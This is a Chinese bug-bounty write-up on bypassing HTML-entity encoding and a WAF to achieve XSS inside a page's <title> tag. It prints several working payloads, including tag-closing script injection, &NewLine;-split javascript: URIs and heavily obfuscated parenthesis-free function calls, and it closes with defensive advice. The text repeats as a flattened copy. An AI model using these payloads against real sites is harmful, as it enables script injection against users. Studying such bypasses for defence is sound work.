【BugBounty】记一次XSS绕过
字数 983 2025-08-10 12:18:08

XSS绕过技术详解:从基础到高级绕过WAF

1. XSS基础与初步测试

1.1 测试环境发现

  • 目标场景:用户输入在<title>标签中展示
  • 初始测试:输入尖括号<>被转换为HTML实体编码
    • < 转换为 &lt;
    • > 转换为 &gt;

1.2 HTML实体编码原理

HTML实体编码用于安全显示预留字符:

  • 格式:&entity_name;&#entity_number;
  • 常见编码:
    • <&lt;&#60;
    • >&gt;&#62;
    • "&quot;&#34;

2. 初级绕过技术

2.1 绕过HTML实体编码

发现输入HTML十进制实体编号会被解码:

  • 例如输入&#x78;&#x78;&#x78;会被解码为xxx
  • 利用这一特性可以闭合title标签:
    </title><script>alert(1)</script>
    

3. WAF层绕过技术

3.1 标签过滤绕过

  • 初始尝试:``被WAF拦截
  • 解决方法:Fuzz测试可用标签
    • 发现<a>标签未被过滤
    • 基础payload:
      <a href="javascript:alert(1)"/>
      

3.2 JavaScript关键字过滤

  • WAF过滤了javascript:alert(
  • 绕过方法:
    1. 使用HTML实体编码JavaScript代码
    2. 使用换行符绕过:
      <a href=ja&NewLine;vascript:alert(1)>
      
    3. 使用分号分隔:
      <a href="javascript;alert(1)"/>
      

3.3 无括号执行函数

当WAF阻止括号使用时:

  • 发现大多数函数都需要括号
  • 最终解决方案:使用复杂的JavaScript混淆技术构造无括号执行

4. 高级绕过Payload分析

4.1 复杂混淆Payload 1

<a/href="javascript;{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
  • 使用对象解构重组字符串
  • 通过属性访问间接调用函数

4.2 复杂混淆Payload 2

<a href=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
  • 通过JavaScript类型转换构造字符串
  • 利用布尔值和空字符串构造字符
  • 最终动态构建并执行函数

5. 防御建议

5.1 对开发者的建议

  1. 实施多层防御:

    • 输入验证
    • 输出编码
    • 内容安全策略(CSP)
  2. 不要依赖单一安全措施

  3. 定期更新WAF规则

5.2 对安全人员的建议

  1. 持续学习新型绕过技术
  2. 掌握JavaScript高级特性
  3. 参与安全社区获取最新信息

6. 总结

本案例展示了从基础到高级的XSS绕过技术:

  1. 识别HTML实体编码防御
  2. 绕过基础过滤
  3. 对抗WAF的多层防护
  4. 最终使用高级混淆技术完成绕过

关键点在于理解每一层防御的工作原理,并找到其逻辑漏洞或实现缺陷进行绕过。

XSS绕过技术详解:从基础到高级绕过WAF 1. XSS基础与初步测试 1.1 测试环境发现 目标场景:用户输入在 <title> 标签中展示 初始测试:输入尖括号 < 和 > 被转换为HTML实体编码 < 转换为 &lt; > 转换为 &gt; 1.2 HTML实体编码原理 HTML实体编码用于安全显示预留字符: 格式: &entity_name; 或 &#entity_number; 常见编码: < → &lt; 或 &#60; > → &gt; 或 &#62; " → &quot; 或 &#34; 2. 初级绕过技术 2.1 绕过HTML实体编码 发现输入HTML十进制实体编号会被解码: 例如输入 &#x78;&#x78;&#x78; 会被解码为 xxx 利用这一特性可以闭合 title 标签: 3. WAF层绕过技术 3.1 标签过滤绕过 初始尝试: `` 被WAF拦截 解决方法:Fuzz测试可用标签 发现 <a> 标签未被过滤 基础payload: 3.2 JavaScript关键字过滤 WAF过滤了 javascript: 和 alert( 绕过方法: 使用HTML实体编码JavaScript代码 使用换行符绕过: 使用分号分隔: 3.3 无括号执行函数 当WAF阻止括号使用时: 发现大多数函数都需要括号 最终解决方案:使用复杂的JavaScript混淆技术构造无括号执行 4. 高级绕过Payload分析 4.1 复杂混淆Payload 1 使用对象解构重组字符串 通过属性访问间接调用函数 4.2 复杂混淆Payload 2 通过JavaScript类型转换构造字符串 利用布尔值和空字符串构造字符 最终动态构建并执行函数 5. 防御建议 5.1 对开发者的建议 实施多层防御: 输入验证 输出编码 内容安全策略(CSP) 不要依赖单一安全措施 定期更新WAF规则 5.2 对安全人员的建议 持续学习新型绕过技术 掌握JavaScript高级特性 参与安全社区获取最新信息 6. 总结 本案例展示了从基础到高级的XSS绕过技术: 识别HTML实体编码防御 绕过基础过滤 对抗WAF的多层防护 最终使用高级混淆技术完成绕过 关键点在于理解每一层防御的工作原理,并找到其逻辑漏洞或实现缺陷进行绕过。